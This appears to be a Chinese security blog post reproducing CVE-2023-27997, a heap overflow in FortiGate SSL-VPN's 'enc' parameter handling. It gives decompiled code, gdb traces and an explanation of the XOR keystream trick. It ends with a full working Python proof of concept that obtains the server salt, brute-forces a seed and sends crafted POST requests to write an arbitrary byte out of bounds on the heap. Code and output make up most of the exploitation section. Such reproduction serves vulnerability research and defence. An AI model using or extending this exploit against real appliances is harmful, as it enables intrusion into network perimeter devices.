0%

CVE-2023-27997-FortiGate-SSLVPN-HeapOverflow

前言

复现完 CVE-2022-42475之后,便关注到了此漏洞。这是一个由于边界大小判断不当,从而导致的一个堆上越界写的漏洞,可实现任意命令执行。由于笔者的逆向能力不是很好,本漏洞也是跟着其他师傅的博客复现而成,如果本文中的描述有什么不准确的地方,还请各位师傅海涵。

漏洞分析

漏洞出现在 sslvpnenc参数处理的函数中,这里把他重命名为 parse_enc_data

1
2
3
4
5
6
7
8
9
10
11
12
13
v22 = find_header(*(_QWORD *)(v11 + 744), (const char *)&byte_3347915);
if ( v22 && (int)parse_enc_data(v11, a1, v22) < 0 )
{
log___(v11, 8LL, (__int64)"could not decode 'enc' data properly.");
v16 = 4100;
LABEL_20:
if ( *((__int64 *)v19 + 405) > 0 )
sub_16FD7E0(*a1, v19 + 3240);
sprintf(v97, "/remote/error?msg=%d", v16);

.rodata:0000000003347915 65 byte_3347915 db 'e' ; DATA XREF: sub_1729160+6F↑o .rodata:0000000003347915 ; sub_17300E0+1B7↑o ...
.rodata:0000000003347916 6E db 'n'
.rodata:0000000003347917 63 db 'c'

函数中,先是判断了 enc的长度是否大于 11并且是否是偶数。如果 enc的长度大于 11并且是偶数才会进行接下来进一步的处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall parse_enc_data(__int64 a1, __int64 *pool, const char *enc)
{
...

v25 = __readfsqword(0x28u);
v4 = strlen(enc);
enc_raw_len = v4;
v19 = v4;
if ( v4 <= 11 || (v4 & 1) != 0 )
{
log___(a1, 8LL, (__int64)"enc data length invalid (%d)\n", (unsigned int)v4);
return 0xFFFFFFFFLL;
}

接着是用 md5对密钥流进行初始化。其中 salt由服务器产生,可通过请求 /remote/info获取到它的值,enc的前八个字节由我们控制,还有一个固定的字符串。接着根据 (enc_raw_len >> 1) + 1 分配缓冲区。并对 enc传入的数据进行处理,并赋值到分配的堆上。具体处理方式就是将原来传进来的字符串,以两个字节的 ascii码看成一个新的字节。比如传进来的是 010203040506abcdefgh字符串,那么就会转为 \x01\x02\x03\x04\x05\x06\xab\xcd\xef\xgh储存到堆上,并在末尾置零。这大概也就是为什么之前分配空间时,以输入长度的 1/2进行分配的原因。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
sub_17318E0(salt, (__int64)enc, 8, (__int64)md5);
ptr = (const char *)sub_16D1AC0(*pool, (enc_raw_len >> 1) + 1);
if ( ptr )
{
v5 = 0LL;
do
{
v6 = sub_175BD40(enc[2 * v5]);
ptr[v5] = sub_175BD40(enc[2 * v5 + 1]) + 16 * v6;
++v5;
}
while ( v19 > 2 * (int)v5 );
v7 = ((unsigned int)(enc_raw_len - 1) >> 1) + 1;
if ( enc_raw_len <= 0 )
v7 = 1;
ptr[v7] = 0;

unsigned __int64 __fastcall sub_17318E0(char *salt, __int64 enc, int len, __int64 md5)
{
__int64 v6; // rax
char v8[104]; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v9; // [rsp+68h] [rbp-28h]

v9 = __readfsqword(0x28u);
MD5_Init(v8);
v6 = strlen(salt);
MD5_Update((__int64)v8, (__int64)salt, v6);
MD5_Update((__int64)v8, enc, len);
MD5_Update((__int64)v8, (__int64)"GCC is the GNU Compiler Collection.", 35LL);
MD5_Final(md5, (__int64)v8);
return v9 - __readfsqword(0x28u);
}

(gdb) x/s 0x7f20df4decf8
0x7f20df4decf8: "010203040506abcdefgh"
(gdb) x/20bx 0x7f20df4decf8
0x7f20df4decf8: 0x30 0x31 0x30 0x32 0x30 0x33 0x30 0x34
0x7f20df4ded00: 0x30 0x35 0x30 0x36 0x61 0x62 0x63 0x64
0x7f20df4ded08: 0x65 0x66 0x67 0x68

(gdb) x/20bx 0x7f20df4ded10
0x7f20df4ded10: 0x01 0x02 0x03 0x04 0x05 0x06 0xab 0xcd
0x7f20df4ded18: 0xef

接下来解密部分的伪代码我感觉是IDA反编译有问题(或者是笔者逆向功底不够)。根据汇编,笔者认为三处加了注释的地方均有问题,正确的伪代码应该如注释所示。也就是enc_raw_len-5real_size进行比较。判断的是 raw_size经过 xor之后得到的 real_size是否存在。并且循环次数是 real_size - 1。所以这里就会存在一个堆溢出。因为是通过**(enc_raw_len >> 1) + 1分配的堆空间,而解密的循环次数(real_size)则可以完全被我们控制,并且只要满足enc_raw_len-5>real_size即可。也就是只要满足(enc_raw_len >> 1) + 1<real_size<enc_raw_len-5**,就可以实现堆上越界写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
raw_size = *((_WORD *)v8 + 2);
real_size = (unsigned __int8)(raw_size ^ md5[0]);
BYTE1(real_size) = md5[1] ^ HIBYTE(raw_size);
if(enc_raw_len - 5 <= (unsigned __int8)(raw_size ^ md5[0]) ) //enc_raw_len-5<=real_size
{
...
}
...
data_ptr = v8 + 6;
ptr = data_ptr;
if ( (unsigned __int8)raw_size != md5[0] ) // if (real_size)
{
real_size_1 = (unsigned int)(unsigned __int8)(raw_size ^ md5[0]) - 1;
// real_size_1 = real_size - 1;
cnt = 0LL;
v15 = 2;
while ( 1 )
{
data_ptr[cnt] ^= md5[v15]; // bof
if ( real_size_1 == cnt )
break;
v15 = ((_BYTE)cnt + 3) & 0xF;
if ( (((_BYTE)cnt + 3) & 0xF) == 0 )
{
v20 = real_size;
MD5_Init(v23);
MD5_Update((__int64)v23, (__int64)md5, 16LL);
MD5_Final((__int64)md5, (__int64)v23);
real_size = v20;
}
data_ptr = ptr;
++cnt;
}
data_ptr = &ptr[(unsigned __int16)real_size];
}
*data_ptr = 0;


.text:0000000001731714 48 83 C2 06 add rdx, 6
.text:0000000001731718 48 89 95 40 FF FF FF mov [rbp+ptr], rdx
.text:000000000173171F 45 85 C0 test r8d, r8d
.text:0000000001731722 0F 84 87 00 00 00 jz loc_17317AF
.text:0000000001731728 45 8D 68 FF lea r13d, [r8-1]

漏洞利用

这里的异或会导致前面的数据被污染,同时原作者也提供了一种很好的思路。即利用二次异或值不变的特性,加上末尾置零的特性,来实现向后越界写任意数据。作者给出的例子是在溢出偏移为 5000的位置上写 \x50。计算出所需的 seed后。第一次来实现末尾置零,第二次恢复前面数据的同时,也成功把偏移为 5000的地方改成了 \x50

我利用该思路,尝试把溢出偏移为 0x10的值改为 0xaa。我申请的堆块大小为 0xfe8,溢出偏移为 0x10处应该是 0x7f20de80a010,可以发现被成功修改为 0xaa。接着循环利用此方式,即可实现写任意长度数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(gdb) i r rsi
rsi 0xfe8 4072
(gdb) ni
0x000000000173164e in ?? ()
(gdb) i r rax
rax 0x7f20de809018 139779148648472
(gdb) x/10gx 0x7f20de809018
0x7f20de809018: 0x565f15f46de5e4e9 0xd60a439f3f849e41
0x7f20de809028: 0x8e8abb7027401e05 0xcf46b2988c0117ee
0x7f20de809038: 0x772fe4c73b4664a1 0xb1087fe34b7b5a7b
0x7f20de809048: 0x90ac9ccd1e18d43f 0xbc94283552ba72f5
0x7f20de809058: 0x35d4acf803fde83a 0x913d36fe9630a124

...
(gdb) x/10gx 0x7f20de809018+0xfe8
0x7f20de80a000: 0x0000000000000000 0x0000000000000000
0x7f20de80a010: 0x00000000000000aa 0x0000000000000000
0x7f20de80a020: 0x0000000000000000 0x0000000000000000
0x7f20de80a030: 0x0000000000000000 0x0000000000000000
0x7f20de80a040: 0x0000000000000000 0x0000000000000000

剩下的则是如何控制程序执行流,这与之前写过的CVE-2022-42475大同小异,在此则不过多叙述。最后给出写一字节的 poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
import ssl
import time
import socket
import struct
import hashlib


IP = "192.168.229.163"
PORT = 4443

p32 = lambda x: struct.pack("<I", x)

def create_ssl_socket(_ip, _port):
_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_socket.connect((_ip, _port))
_context = ssl._create_unverified_context()
_ssl_socket = _context.wrap_socket(_socket)
return _ssl_socket


class Expliot(object):
def __init__(self, _ip, _port):
self.ip = _ip
self.port = _port
self.salt = None

def get_salt(self, _socket):
_request = """GET /remote/info HTTP/1.1\r\nHost: %s:%d\r\nConnection: close\r\n\r\n""" % (self.ip, self.port)
_socket.sendall(_request.encode())
if b"salt" not in (salt := _socket.recv(1024)):
print("[-] Get salt fault")
exit(0)
self.salt = salt[salt.find(b"salt")+6:salt.find(b"salt")+14]

def calc_packet_data_size(self, _size):
self.BLOCK_HEAD = 0x18
self.PACKET_SIZE = _size
self.DISTANCE = self.PACKET_SIZE - self.BLOCK_HEAD - 6
alloc_size = self.PACKET_SIZE
alloc_size -= self.BLOCK_HEAD
# target = (inlen >> 1) + 1
inlen = (alloc_size - 1) << 1
# inlen consists of a header of size 12 followed by the data in hexa
inlen_data = inlen - 12
inlen_unhex = inlen_data >> 1

self.packet_data_size = inlen_unhex

def calc_md5(self, _seed):
assert len(_seed) == 8

return hashlib.md5(self.salt + _seed + b"GCC is the GNU Compiler Collection.").digest()

def create_payload(self, size=None, _seed="00000000"):
md5 = self.calc_md5(_seed.encode())
# print(md5)
max_size = self.packet_data_size * 2

if size is None:
size = max_size
elif size > max_size:
print("create_payload: size > max_size")
exit(0)
len_high = (size >> 8) ^ md5[1]
len_low = (size & 0xFF) ^ md5[0]

data = bytes((len_low, len_high)) + b"1" * self.packet_data_size
print(hex(size))
print(hex(size & 0xFF))
print(hex(size >> 8))
payload = _seed + data.hex()

return payload

def get_seed_for_md5_byte(self, pos, value):
distance = self.DISTANCE + pos
distance += 2
MD5_LEN = 16
rounds, offset = divmod(distance, MD5_LEN)
print(self.DISTANCE)
print(divmod(distance, MD5_LEN))
md5 = hashlib.md5

for _seed in range(2**24):
_seed = "00" + p32(_seed)[:3].hex()
hash = self.calc_md5(_seed.encode())
keystream = hash
for i in range(rounds):
hash = md5(hash).digest()
keystream += hash
if hash[offset] == value:
print(_seed)
print(keystream[self.DISTANCE + 2 : self.DISTANCE + 2 + pos + 1].hex())
return _seed, keystream[self.DISTANCE + 2 : self.DISTANCE + 2 + pos + 1]
print("[-] unable to get seed")
exit(0)

def send_payload(self, _sock, _data):
_data = "ajax=1&username=asdf&realm=&enc=%s" % _data
if len(_data) > 0x10000:
print("[-] payload too long")
exit(0)
_request = """POST /remote/hostcheck_validate HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0\r\nContent-Type: text/plain;charset=UTF-8\r\nConnection: keep-alive\r\nContent-Length: %d\r\n\r\n%s""" % (self.ip, self.port, len(_data), _data)
# print(_request)
_sock.sendall(_request.encode())
_responce = _sock.recv(2048)


if __name__ == '__main__':

exp = Expliot(IP, PORT)
salt_sock = create_ssl_socket(IP, PORT)
exp.get_salt(salt_sock)
salt_sock.close()

print(exp.salt)

exp.calc_packet_data_size(0x1000)
# print(hex(exp.packet_data_size))

payload = exp.create_payload()

sock = create_ssl_socket(IP, PORT)

offset = 0x10
value = 0xaa
seed, _ = exp.get_seed_for_md5_byte(offset, value)
payload = exp.create_payload(exp.DISTANCE+offset, seed)
exp.send_payload(sock, payload)
payload = exp.create_payload(exp.DISTANCE+offset+1, seed)
exp.send_payload(sock, payload)
sock.close()

参考链接

https://bestwing.me/CVE-2023-27997-FortiGate-SSLVPN-Heap-Overflow.html

https://labs.watchtowr.com/xortigate-or-cve-2023-27997/

https://blog.lexfo.fr/xortigate-cve-2023-27997.html